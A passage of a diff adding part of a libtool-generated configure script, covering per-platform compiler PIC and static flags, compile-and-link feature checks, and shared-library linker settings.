lt_prog_compiler_static='-Bstatic' + ;; + ccc*) + lt_prog_compiler_wl='-Wl,' + # All Alpha code is PIC. + lt_prog_compiler_static='-non_shared' + ;; + xl* | bgxl* | bgf* | mpixl*) + # IBM XL C 8.0/Fortran 10.1, 11.1 on PPC and BlueGene + lt_prog_compiler_wl='-Wl,' + lt_prog_compiler_pic='-qpic' + lt_prog_compiler_static='-qstaticlink' + ;; + *) + case `$CC -V 2>&1 | $SED 5q` in + *Sun\ Ceres\ Fortran* | *Sun*Fortran*\ [1-7].* | *Sun*Fortran*\ 8.[0-3]*) + # Sun Fortran 8.3 passes all unrecognized flags to the linker + lt_prog_compiler_pic='-KPIC' + lt_prog_compiler_static='-Bstatic' + lt_prog_compiler_wl='' + ;; + *Sun\ F* | *Sun*Fortran*) + lt_prog_compiler_pic='-KPIC' + lt_prog_compiler_static='-Bstatic' + lt_prog_compiler_wl='-Qoption ld ' + ;; + *Sun\ C*) + # Sun C 5.9 + lt_prog_compiler_pic='-KPIC' + lt_prog_compiler_static='-Bstatic' + lt_prog_compiler_wl='-Wl,' + ;; + *Intel*\ [CF]*Compiler*) + lt_prog_compiler_wl='-Wl,' + lt_prog_compiler_pic='-fPIC' + lt_prog_compiler_static='-static' + ;; + *Portland\ Group*) + lt_prog_compiler_wl='-Wl,' + lt_prog_compiler_pic='-fpic' + lt_prog_compiler_static='-Bstatic' + ;; + esac + ;; + esac + ;; + + newsos6) + lt_prog_compiler_pic='-KPIC' + lt_prog_compiler_static='-Bstatic' + ;; + + *nto* | *qnx*) + # QNX uses GNU C++, but need to define -shared option too, otherwise + # it will coredump. + lt_prog_compiler_pic='-fPIC -shared' + ;; + + osf3* | osf4* | osf5*) + lt_prog_compiler_wl='-Wl,' + # All OSF/1 code is PIC. + lt_prog_compiler_static='-non_shared' + ;; + + rdos*) + lt_prog_compiler_static='-non_shared' + ;; + + solaris*) + lt_prog_compiler_pic='-KPIC' + lt_prog_compiler_static='-Bstatic' + case $cc_basename in + f77* | f90* | f95* | sunf77* | sunf90* | sunf95*) + lt_prog_compiler_wl='-Qoption ld ';; + *) + lt_prog_compiler_wl='-Wl,';; + esac + ;; + + sunos4*) + lt_prog_compiler_wl='-Qoption ld ' + lt_prog_compiler_pic='-PIC' + lt_prog_compiler_static='-Bstatic' + ;; + + sysv4 | sysv4.2uw2* | sysv4.3*) + lt_prog_compiler_wl='-Wl,' + lt_prog_compiler_pic='-KPIC' + lt_prog_compiler_static='-Bstatic' + ;; + + sysv4*MP*) + if test -d /usr/nec; then + lt_prog_compiler_pic='-Kconform_pic' + lt_prog_compiler_static='-Bstatic' + fi + ;; + + sysv5* | unixware* | sco3.2v5* | sco5v6* | OpenUNIX*) + lt_prog_compiler_wl='-Wl,' + lt_prog_compiler_pic='-KPIC' + lt_prog_compiler_static='-Bstatic' + ;; + + unicos*) + lt_prog_compiler_wl='-Wl,' + lt_prog_compiler_can_build_shared=no + ;; + + uts4*) + lt_prog_compiler_pic='-pic' + lt_prog_compiler_static='-Bstatic' + ;; + + *) + lt_prog_compiler_can_build_shared=no + ;; + esac + fi + +case $host_os in + # For platforms that do not support PIC, -DPIC is meaningless: + *djgpp*) + lt_prog_compiler_pic= + ;; + *) + lt_prog_compiler_pic="$lt_prog_compiler_pic -DPIC" + ;; +esac + +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5 +printf %s "checking for $compiler option to produce PIC... " >&6; } +if test ${lt_cv_prog_compiler_pic+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) lt_cv_prog_compiler_pic=$lt_prog_compiler_pic ;; +esac +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_pic" >&5 +printf "%s\n" "$lt_cv_prog_compiler_pic" >&6; } +lt_prog_compiler_pic=$lt_cv_prog_compiler_pic + +# +# Check to make sure the PIC flag actually works. +# +if test -n "$lt_prog_compiler_pic"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking if $compiler PIC flag $lt_prog_compiler_pic works" >&5 +printf %s "checking if $compiler PIC flag $lt_prog_compiler_pic works... " >&6; } +if test ${lt_cv_prog_compiler_pic_works+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) lt_cv_prog_compiler_pic_works=no + ac_outfile=conftest.$ac_objext + echo "$lt_simple_compile_test_code" > conftest.$ac_ext + lt_compiler_flag="$lt_prog_compiler_pic -DPIC" ## exclude from sc_useless_quotes_in_assignment + # Insert the option either (1) after the last *FLAGS variable, or + # (2) before a word containing "conftest.", or (3) at the end. + # Note that $ac_compile itself does not contain backslashes and begins + # with a dollar sign (not a hyphen), so the echo should work correctly. + # The option is referenced via a variable to avoid confusing sed. + lt_compile=`echo "$ac_compile" | $SED \ + -e 's:.*FLAGS}\{0,1\} :&$lt_compiler_flag :; t' \ + -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \ + -e 's:$: $lt_compiler_flag:'` + (eval echo "\"\$as_me:$LINENO: $lt_compile\"" >&5) + (eval "$lt_compile" 2>conftest.err) + ac_status=$? + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + if (exit $ac_status) && test -s "$ac_outfile"; then + # The compiler can only warn and ignore the option if not recognized + # So say no if there are warnings other than the usual output. + $ECHO "$_lt_compiler_boilerplate" | $SED '/^$/d' >conftest.exp + $SED '/^$/d; /^ *+/d' conftest.err >conftest.er2 + if test ! -s conftest.er2 || diff conftest.exp conftest.er2 >/dev/null; then + lt_cv_prog_compiler_pic_works=yes + fi + fi + $RM conftest* + ;; +esac +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_pic_works" >&5 +printf "%s\n" "$lt_cv_prog_compiler_pic_works" >&6; } + +if test yes = "$lt_cv_prog_compiler_pic_works"; then + case $lt_prog_compiler_pic in + "" | " "*) ;; + *) lt_prog_compiler_pic=" $lt_prog_compiler_pic" ;; + esac +else + lt_prog_compiler_pic= + lt_prog_compiler_can_build_shared=no +fi + +fi + + + + + + + + + + + +# +# Check to make sure the static flag actually works. +# +wl=$lt_prog_compiler_wl eval lt_tmp_static_flag=\"$lt_prog_compiler_static\" +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking if $compiler static flag $lt_tmp_static_flag works" >&5 +printf %s "checking if $compiler static flag $lt_tmp_static_flag works... " >&6; } +if test ${lt_cv_prog_compiler_static_works+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) lt_cv_prog_compiler_static_works=no + save_LDFLAGS=$LDFLAGS + LDFLAGS="$LDFLAGS $lt_tmp_static_flag" + echo "$lt_simple_link_test_code" > conftest.$ac_ext + if (eval $ac_link 2>conftest.err) && test -s conftest$ac_exeext; then + # The linker can only warn and ignore the option if not recognized + # So say no if there are warnings + if test -s conftest.err; then + # Append any errors to the config.log. + cat conftest.err 1>&5 + $ECHO "$_lt_linker_boilerplate" | $SED '/^$/d' > conftest.exp + $SED '/^$/d; /^ *+/d' conftest.err >conftest.er2 + if diff conftest.exp conftest.er2 >/dev/null; then + lt_cv_prog_compiler_static_works=yes + fi + else + lt_cv_prog_compiler_static_works=yes + fi + fi + $RM -r conftest* + LDFLAGS=$save_LDFLAGS + ;; +esac +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_static_works" >&5 +printf "%s\n" "$lt_cv_prog_compiler_static_works" >&6; } + +if test yes = "$lt_cv_prog_compiler_static_works"; then + : +else + lt_prog_compiler_static= +fi + + + + + + + + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking if $compiler supports -c -o file.$ac_objext" >&5 +printf %s "checking if $compiler supports -c -o file.$ac_objext... " >&6; } +if test ${lt_cv_prog_compiler_c_o+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) lt_cv_prog_compiler_c_o=no + $RM -r conftest 2>/dev/null + mkdir conftest + cd conftest + mkdir out + echo "$lt_simple_compile_test_code" > conftest.$ac_ext + + lt_compiler_flag="-o out/conftest2.$ac_objext" + # Insert the option either (1) after the last *FLAGS variable, or + # (2) before a word containing "conftest.", or (3) at the end. + # Note that $ac_compile itself does not contain backslashes and begins + # with a dollar sign (not a hyphen), so the echo should work correctly. + lt_compile=`echo "$ac_compile" | $SED \ + -e 's:.*FLAGS}\{0,1\} :&$lt_compiler_flag :; t' \ + -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \ + -e 's:$: $lt_compiler_flag:'` + (eval echo "\"\$as_me:$LINENO: $lt_compile\"" >&5) + (eval "$lt_compile" 2>out/conftest.err) + ac_status=$? + cat out/conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + if (exit $ac_status) && test -s out/conftest2.$ac_objext + then + # The compiler can only warn and ignore the option if not recognized + # So say no if there are warnings + $ECHO "$_lt_compiler_boilerplate" | $SED '/^$/d' > out/conftest.exp + $SED '/^$/d; /^ *+/d' out/conftest.err >out/conftest.er2 + if test ! -s out/conftest.er2 || diff out/conftest.exp out/conftest.er2 >/dev/null; then + lt_cv_prog_compiler_c_o=yes + fi + fi + chmod u+w . 2>&5 + $RM conftest* + # SGI C++ compiler will create directory out/ii_files/ for + # template instantiation + test -d out/ii_files && $RM out/ii_files/* && rmdir out/ii_files + $RM out/* && rmdir out + cd .. + $RM -r conftest + $RM conftest* + ;; +esac +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_c_o" >&5 +printf "%s\n" "$lt_cv_prog_compiler_c_o" >&6; } + + + + + + + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking if $compiler supports -c -o file.$ac_objext" >&5 +printf %s "checking if $compiler supports -c -o file.$ac_objext... " >&6; } +if test ${lt_cv_prog_compiler_c_o+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) lt_cv_prog_compiler_c_o=no + $RM -r conftest 2>/dev/null + mkdir conftest + cd conftest + mkdir out + echo "$lt_simple_compile_test_code" > conftest.$ac_ext + + lt_compiler_flag="-o out/conftest2.$ac_objext" + # Insert the option either (1) after the last *FLAGS variable, or + # (2) before a word containing "conftest.", or (3) at the end. + # Note that $ac_compile itself does not contain backslashes and begins + # with a dollar sign (not a hyphen), so the echo should work correctly. + lt_compile=`echo "$ac_compile" | $SED \ + -e 's:.*FLAGS}\{0,1\} :&$lt_compiler_flag :; t' \ + -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \ + -e 's:$: $lt_compiler_flag:'` + (eval echo "\"\$as_me:$LINENO: $lt_compile\"" >&5) + (eval "$lt_compile" 2>out/conftest.err) + ac_status=$? + cat out/conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + if (exit $ac_status) && test -s out/conftest2.$ac_objext + then + # The compiler can only warn and ignore the option if not recognized + # So say no if there are warnings + $ECHO "$_lt_compiler_boilerplate" | $SED '/^$/d' > out/conftest.exp + $SED '/^$/d; /^ *+/d' out/conftest.err >out/conftest.er2 + if test ! -s out/conftest.er2 || diff out/conftest.exp out/conftest.er2 >/dev/null; then + lt_cv_prog_compiler_c_o=yes + fi + fi + chmod u+w . 2>&5 + $RM conftest* + # SGI C++ compiler will create directory out/ii_files/ for + # template instantiation + test -d out/ii_files && $RM out/ii_files/* && rmdir out/ii_files + $RM out/* && rmdir out + cd .. + $RM -r conftest + $RM conftest* + ;; +esac +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_c_o" >&5 +printf "%s\n" "$lt_cv_prog_compiler_c_o" >&6; } + + + + +hard_links=nottested +if test no = "$lt_cv_prog_compiler_c_o" && test no != "$need_locks"; then + # do not overwrite the value of need_locks provided by the user + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking if we can lock with hard links" >&5 +printf %s "checking if we can lock with hard links... " >&6; } + hard_links=yes + $RM conftest* + ln conftest.a conftest.b 2>/dev/null && hard_links=no + touch conftest.a + ln conftest.a conftest.b 2>&5 || hard_links=no + ln conftest.a conftest.b 2>/dev/null && hard_links=no + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $hard_links" >&5 +printf "%s\n" "$hard_links" >&6; } + if test no = "$hard_links"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: WARNING: '$CC' does not support '-c -o', so 'make -j' may be unsafe" >&5 +printf "%s\n" "$as_me: WARNING: '$CC' does not support '-c -o', so 'make -j' may be unsafe" >&2;} + need_locks=warn + fi +else + need_locks=no +fi + + + + + + + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking whether the $compiler linker ($LD) supports shared libraries" >&5 +printf %s "checking whether the $compiler linker ($LD) supports shared libraries... " >&6; } + + runpath_var= + allow_undefined_flag= + always_export_symbols=no + archive_cmds= + archive_expsym_cmds= + compiler_needs_object=no + enable_shared_with_static_runtimes=no + export_dynamic_flag_spec= + export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols' + hardcode_automatic=no + hardcode_direct=no + hardcode_direct_absolute=no + hardcode_libdir_flag_spec= + hardcode_libdir_separator= + hardcode_minus_L=no + hardcode_shlibpath_var=unsupported + inherit_rpath=no + link_all_deplibs=unknown + module_cmds= + module_expsym_cmds= + old_archive_from_new_cmds= + old_archive_from_expsyms_cmds= + thread_safe_flag_spec= + whole_archive_flag_spec= + # include_expsyms should be a list of space-separated symbols to be *always* + # included in the symbol list + include_expsyms= + # exclude_expsyms can be an extended regexp of symbols to exclude + # it will be wrapped by ' (' and ')$', so one must not match beginning or + # end of line. Example: 'a|bc|.*d.*' will exclude the symbols 'a' and 'bc', + # as well as any symbol that contains 'd'. + exclude_expsyms='_GLOBAL_OFFSET_TABLE_|_GLOBAL__F[ID]_.*' + # Although _GLOBAL_OFFSET_TABLE_ is a valid symbol C name, most a.out + # platforms (ab)use it in PIC code, but their linkers get confused if + # the symbol is explicitly referenced. Since portable code cannot + # rely on this symbol name, it's probably fine to never include it in + # preloaded symbol tables. + # Exclude shared library initialization/finalization symbols. + extract_expsyms_cmds= + + case $host_os in + cygwin* | mingw* | pw32* | cegcc*) + # FIXME: the MSVC++ and ICC port hasn't been tested in a loooong time + # When not using gcc, we currently assume that we are using + # Microsoft Visual C++ or Intel C++ Compiler. + if test yes != "$GCC"; then + with_gnu_ld=no + fi + ;; + interix*) + # we just hope/assume this is gcc and not c89 (= MSVC++ or ICC) + with_gnu_ld=yes + ;; + openbsd* | bitrig*) + with_gnu_ld=no + ;; + esac + + ld_shlibs=yes + + # On some targets, GNU ld is compatible enough with the native linker + # that we're better off using the native interface for both. + lt_use_gnu_ld_interface=no + if test yes = "$with_gnu_ld"; then + case $host_os in + aix*) + # The AIX port of GNU ld has always aspired to compatibility + # with the native linker. However, as the warning in the GNU ld + # block says, versions before 2.19.5* couldn't really create working + # shared libraries, regardless of the interface used. + case `$LD -v 2>&1` in + *\ \(GNU\ Binutils\)\ 2.19.5*) ;; + *\ \(GNU\ Binutils\)\ 2.[2-9]*) ;; + *\ \(GNU\ Binutils\)\ [3-9]*) ;; + *) + lt_use_gnu_ld_interface=yes + ;; + esac + ;; + *) + lt_use_gnu_ld_interface=yes + ;; + esac + fi + + if test yes = "$lt_use_gnu_ld_interface"; then + # If archive_cmds runs LD, not CC, wlarc should be empty + wlarc='$wl' + + # Set some defaults for GNU ld with shared library support. These + # are reset later if shared libraries are not supported. Putting them + # here allows them to be overridden if necessary. + runpath_var=LD_RUN_PATH + hardcode_libdir_flag_spec='$wl-rpath $wl$libdir' + export_dynamic_flag_spec='$wl--export-dynamic' + # ancient GNU ld didn't support --whole-archive et. al. + if $LD --help 2>&1 | $GREP 'no-whole-archive' > /dev/null; then + whole_archive_flag_spec=$wlarc'--whole-archive$convenience '$wlarc'--no-whole-archive' + else + whole_archive_flag_spec= + fi + supports_anon_versioning=no + case `$LD -v | $SED -e 's/([^)]\+)\s\+//' 2>&1` in + *GNU\ gold*) supports_anon_versioning=yes ;; + *\ [01].* | *\ 2.[0-9].* | *\ 2.10.*) ;; # catch versions < 2.11 + *\ 2.11.93.0.2\ *) supports_anon_versioning=yes ;; # RH7.3 ... + *\ 2.11.92.0.12\ *) supports_anon_versioning=yes ;; # Mandrake 8.2 ... + *\ 2.11.*) ;; # other 2.11 versions + *) supports_anon_versioning=yes ;; + esac + + # See if GNU ld supports shared libraries. + case $host_os in + aix[3-9]*) + # On AIX/PPC, the GNU linker is very broken + if test ia64 != "$host_cpu"; then + ld_shlibs=no + cat <<_LT_EOF 1>&2 + +*** Warning: the GNU linker, at least up to release 2.19, is reported +*** to be unable to reliably create shared libraries on AIX. +*** Therefore, libtool is disabling shared libraries support. If you +*** really care for shared libraries, you may want to install binutils +*** 2.20 or above, or modify your PATH so that a non-GNU linker is found. +*** You will then need to restart the configuration process. + +_LT_EOF + fi + ;; + + amigaos*) + case $host_cpu in + powerpc) + # see comment about AmigaOS4 .so support + archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags $wl-soname $wl$soname -o $lib' + archive_expsym_cmds='' + ;; + m68k) + archive_cmds='$RM $output_objdir/a2ixlibrary.data~$ECHO "#define NAME $libname" > $output_objdir/a2ixlibrary.data~$ECHO "#define LIBRARY_ID 1" >> $output_objdir/a2ixlibrary.data~$ECHO "#define VERSION $major" >> $output_objdir/a2ixlibrary.data~$ECHO "#define REVISION $revision" >> $output_objdir/a2ixlibrary.data~$AR $AR_FLAGS $lib $libobjs~$RANLIB $lib~(cd $output_objdir && a2ixlibrary -32)' + hardcode_libdir_flag_spec='-L$libdir' + hardcode_minus_L=yes + ;; + esac + ;; + + beos*) + if $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then + allow_undefined_flag=unsupported + # Joseph Beckenbach says some releases of gcc + # support --undefined. This deserves some investigation. FIXME + archive_cmds='$CC -nostart $libobjs $deplibs $compiler_flags $wl-soname $wl$soname -o $lib' + else + ld_shlibs=no + fi + ;; + + cygwin* | mingw* | pw32* | cegcc*) + # _LT_TAGVAR(hardcode_libdir_flag_spec, ) is actually meaningless, + # as there is no search path for DLLs. + hardcode_libdir_flag_spec='-L$libdir' + export_dynamic_flag_spec='$wl--export-all-symbols' + allow_undefined_flag=unsupported + always_export_symbols=no + enable_shared_with_static_runtimes=yes + export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/;s/^.*[ ]__nm__\([^ ]*\)[ ][^ ]*/\1 DATA/;/^I[ ]/d;/^[AITW][ ]/s/.* //'\'' | sort | uniq > $export_symbols' + exclude_expsyms='[_]+GLOBAL_OFFSET_TABLE_|[_]+GLOBAL__[FID]_.*|[_]+head_[A-Za-z0-9_]+_dll|[A-Za-z0-9_]+_dll_iname' + + if $LD --help 2>&1 | $GREP 'auto-import' > /dev/null; then + archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -o $output_objdir/$soname $wl--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib' + # If the export-symbols file already is a .def file, use it as + # is; otherwise, prepend EXPORTS... + archive_expsym_cmds='if test DEF = "`$SED -n -e '\''s/^[ ]*//'\'' -e '\''/^\(;.*\)*$/d'\'' -e '\''s/^\(EXPORTS\|LIBRARY\)\([ ].*\)*$/DEF/p'\'' -e q $export_symbols`" ; then + cp $export_symbols $output_objdir/$soname.def; + else + echo EXPORTS > $output_objdir/$soname.def; + cat $export_symbols >> $output_objdir/$soname.def; + fi~ + $CC -shared $output_objdir/$soname.def $libobjs $deplibs $compiler_flags -o $output_objdir/$soname $wl--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib' + else + ld_shlibs=no + fi + ;; + + haiku*) + archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags $wl-soname $wl$soname -o $lib' + link_all_deplibs=yes + ;; + + os2*) + hardcode_libdir_flag_spec='-L$libdir' + hardcode_minus_L=yes + allow_undefined_flag=unsupported + shrext_cmds=.dll + archive_cmds='$ECHO "LIBRARY ${soname%$shared_ext} INITINSTANCE TERMINSTANCE" > $output_objdir/$libname.def~ + $ECHO "DESCRIPTION \"$libname\"" >> $output_objdir/$libname.def~ + $ECHO "DATA MULTIPLE NONSHARED" >> $output_objdir/$libname.def~ + $ECHO EXPORTS >> $output_objdir/$libname.def~ + emxexp $libobjs | $SED /"_DLL_InitTerm"/d >> $output_objdir/$libname.def~ + $CC -Zdll -Zcrtdll -o $output_objdir/$soname $libobjs $deplibs $compiler_flags $output_objdir/$libname.def~ + emximp -o $lib $output_objdir/$libname.def' + archive_expsym_cmds='$ECHO "LIBRARY ${soname%$shared_ext} INITINSTANCE TERMINSTANCE" > $output_objdir/$libname.def~ + $ECHO "DESCRIPTION \"$libname\"" >> $output_objdir/$libname.def~ + $ECHO "DATA MULTIPLE NONSHARED" >> $output_objdir/$libname.def~ + $ECHO EXPORTS >> $output_objdir/$libname.def~ + prefix_cmds="$SED"~ + if test EXPORTS = "`$SED 1q $export_symbols`"; then + prefix_cmds="$prefix_cmds -e 1d"; + fi~ + prefix_cmds="$prefix_cmds -e \"s/^\(.*\)$/_\1/g\""~ + cat $export_symbols | $prefix_cmds >> $output_objdir/$libname.def~ + $CC -Zdll -Zcrtdll -o $output_objdir/$soname $libobjs $deplibs $compiler_flags $output_objdir/$libname.def~ + emximp -o $lib $output_objdir/$libname.def' + old_archive_From_new_cmds='emximp -o $output_objdir/${libname}_dll.a $output_objdir/$libname.def' + enable_shared_with_static_runtimes=yes + file_list_spec='@' + ;; + + interix[3-9]*) + hardcode_direct=no + hardcode_shlibpath_var=no + hardcode_libdir_flag_spec='$wl-rpath,$libdir' + export_dynamic_flag_spec='$wl-E' + # Hack: On Interix 3.x, we cannot compile PIC because of a broken gcc. + # Instead, shared libraries are loaded at an image base (0x10000000 by + # default) and relocated if they conflict, which is a slow very memory + # consuming and fragmenting process. To avoid this, we pick a random, + # 256 KiB-aligned image base between 0x50000000 and 0x6FFC0000 at link + # time. Moving up from 0x10000000 also allows more sbrk(2) space. + archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags $wl-h,$soname $wl--image-base,`expr ${RANDOM-$$} % 4096 / 2 \* 262144 + 1342177280` -o $lib' + archive_expsym_cmds='$SED "s|^|_|" $export_symbols >$output_objdir/$soname.expsym~$CC -shared $pic_flag $libobjs $deplibs $compiler_flags $wl-h,$soname $wl--retain-symbols-file,$output_objdir/$soname.expsym $wl--image-base,`expr ${RANDOM-$$} % 4096 / 2 \* 262144 + 1342177280` -o $lib' + ;; + + gnu* | linux* | tpf* | k*bsd*-gnu | kopensolaris*-gnu) + tmp_diet=no + if test linux-dietlibc = "$host_os"; then + case $cc_basename in + diet\ *) tmp_diet=yes;; # linux-dietlibc with static linking (!diet-dyn) + esac + fi + if $LD --help 2>&1 | $EGREP ': supported targets:.* elf' > /dev/null \ + && test no = "$tmp_diet" + then + tmp_addflag=' $pic_flag' + tmp_sharedflag='-shared' + case $cc_basename,$host_cpu in + pgcc*) # Portland Group C compiler + whole_archive_flag_spec='$wl--whole-archive`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; func_echo_all \"$new_convenience\"` $wl--no-whole-archive' + tmp_addflag=' $pic_flag' + ;; + pgf77* | pgf90* | pgf95* | pgfortran*) + # Portland Group f77 and f90 compilers + whole_archive_flag_spec='$wl--whole-archive`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; func_echo_all \"$new_convenience\"` $wl--no-whole-archive' + tmp_addflag=' $pic_flag -Mnomain' ;; + ecc*,ia64* | icc*,ia64*) # Intel C compiler on ia64 + tmp_addflag=' -i_dynamic' ;; + efc*,ia64* | ifort*,ia64*) # Intel Fortran compiler on ia64 + tmp_addflag=' -i_dynamic -nofor_main' ;; + ifc* | ifort*) # Intel Fortran compiler + tmp_addflag=' -nofor_main' ;; + lf95*) # Lahey Fortran 8.1 + whole_archive_flag_spec= + tmp_sharedflag='--shared' ;; + nagfor*) # NAGFOR 5.3 + tmp_sharedflag='-Wl,-shared' ;; + xl[cC]* | bgxl[cC]* | mpixl[cC]*) # IBM XL C 8.0 on PPC (deal with xlf below) + tmp_sharedflag='-qmkshrobj' + tmp_addflag= ;; + nvcc*) # Cuda Compiler Driver 2.2 + whole_archive_flag_spec='$wl--whole-archive`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; func_echo_all \"$new_convenience\"` $wl--no-whole-archive' + compiler_needs_object=yes + ;; + esac + case `$CC -V 2>&1 | $SED 5q` in + *Sun\ C*) # Sun C 5.9 + whole_archive_flag_spec='$wl--whole-archive`new_convenience=; for conv in $convenience\"\"; do test -z \"$conv\" || new_convenience=\"$new_convenience,$conv\"; done; func_echo_all \"$new_convenience\"` $wl--no-whole-archive' + compiler_needs_object=yes + tmp_sharedflag='-G' ;; + *Sun\ F*) # Sun Fortran 8.3 + tmp_sharedflag='-G' ;; + esac + archive_cmds='$CC '"$tmp_sharedflag""$tmp_addflag"' $libobjs $deplibs $compiler_flags $wl-soname $wl$soname -o $lib' + + if test yes = "$supports_anon_versioning"; then + archive_expsym_cmds='echo "{ global:" > $output_objdir/$libname.ver~ + cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $output_objdir/$libname.ver~ + echo "local: *; };" >> $output_objdir/$libname.ver~ + $CC '"$tmp_sharedflag""$tmp_addflag"' $libobjs $deplibs $compiler_flags $wl-soname $wl$soname $wl-version-script $wl$output_objdir/$libname.ver -o $lib' + fi + + case $cc_basename in + tcc*) + export_dynamic_flag_spec='-rdynamic' + ;; + xlf* | bgf* | bgxlf* | mpixlf*) + # IBM XL Fortran 10.1 on PPC cannot create shared libs itself + whole_archive_flag_spec='--whole-archive$convenience --no-whole-archive' + hardcode_libdir_flag_spec='$wl-rpath $wl$libdir' + archive_cmds='$LD -shared $libobjs $deplibs $linker_flags -soname $soname -o $lib' + if test yes = "$supports_anon_versioning"; then + archive_expsym_cmds='echo "{ global:" > $output_objdir/$libname.ver~ + cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $output_objdir/$libname.ver~ + echo "local: *; };" >> $output_objdir/$libname.ver~ + $LD -shared $libobjs $deplibs $linker_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib' + fi + ;; + esac + else + ld_shlibs=no + fi + ;; + + netbsd*) + if echo __ELF__ | $CC -E - | $GREP __ELF__ >/dev/null; then + archive_cmds='$LD -Bshareable $libobjs $deplibs $linker_flags -o $lib' + wlarc= + else + archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags $wl-soname $wl$soname -o $lib' + archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags $wl-soname $wl$soname $wl-retain-symbols-file $wl$export_symbols -o $lib' + fi + ;; + + solaris*) + if $LD -v 2>&1 | $GREP 'BFD 2\.8' > /dev/null; then + ld_shlibs=no + cat <<_LT_EOF 1>&2 + +*** Warning: The releases 2.8.* of the GNU linker cannot reliably +*** create shared libraries on Solaris systems. Therefore, libtool +*** is disabling shared libraries support. We urge you to upgrade GNU +*** binutils to release 2.9.1 or newer. Another option is to modify +*** your PATH or compiler configuration so that the native linker is +*** used, and then restart. + +_LT_EOF + elif $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then + archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags $wl-soname $wl$soname -o $lib' + archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags $wl-soname $wl$soname $wl-retain-symbols-file $wl$export_symbols -o $lib' + else + ld_shlibs=no + fi + ;; + + sysv5* | sco3.2v5* | sco5v6* | unixware* | OpenUNIX*) + case `$LD -v 2>&1` in + *\ [01].* | *\ 2.[0-9].* | *\ 2.1[0-5].*) + ld_shlibs=no + cat <<_LT_EOF 1>&2 + +*** Warning: Releases of the GNU linker prior to 2.16.91.0.3 cannot +*** reliably create shared libraries on SCO systems. Therefore, libtool +*** is disabling shared libraries support. We urge you to upgrade GNU +*** binutils to release 2.16.91.0.3 or newer. Another option is to modify +*** your PATH or compiler configuration so that the native linker is +*** used, and then restart. + +_LT_EOF + ;; + *) + # For security reasons, it is highly recommended that you always + # use absolute paths for naming shared libraries, and exclude the + # DT_RUNPATH tag from executables and libraries. But doing so + # requires that you compile everything twice, which is a pain. + if $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then + hardcode_libdir_flag_spec='$wl-rpath $wl$libdir' + archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags $wl-soname $wl$soname -o $lib' + archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags $wl-soname $wl$soname $wl-retain-symbols-file $wl$export_symbols -o $lib' + else + ld_shlibs=no + fi + ;; + esac + ;; + + sunos4*) + archive_cmds='$LD -assert pure-text -Bshareable -o $lib $libobjs $deplibs $linker_flags' + wlarc= + hardcode_direct=yes + hardcode_shlibpath_var=no + ;; + + *) + if $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then + archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags $wl-soname $wl$soname -o $lib' + archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags $wl-soname $wl$soname $wl-retain-symbols-file $wl$export_symbols -o $lib' + else + ld_shlibs=no + fi + ;; + esac + + if test no = "$ld_shlibs"; then + runpath_var= + hardcode_libdir_flag_spec= + export_dynamic_flag_spec= + whole_archive_flag_spec= + fi + else + # PORTME fill in a description of your system's linker (not GNU ld) + case $host_os in + aix3*) + allow_undefined_flag=unsupported + always_export_symbols=yes + archive_expsym_cmds='$LD -o 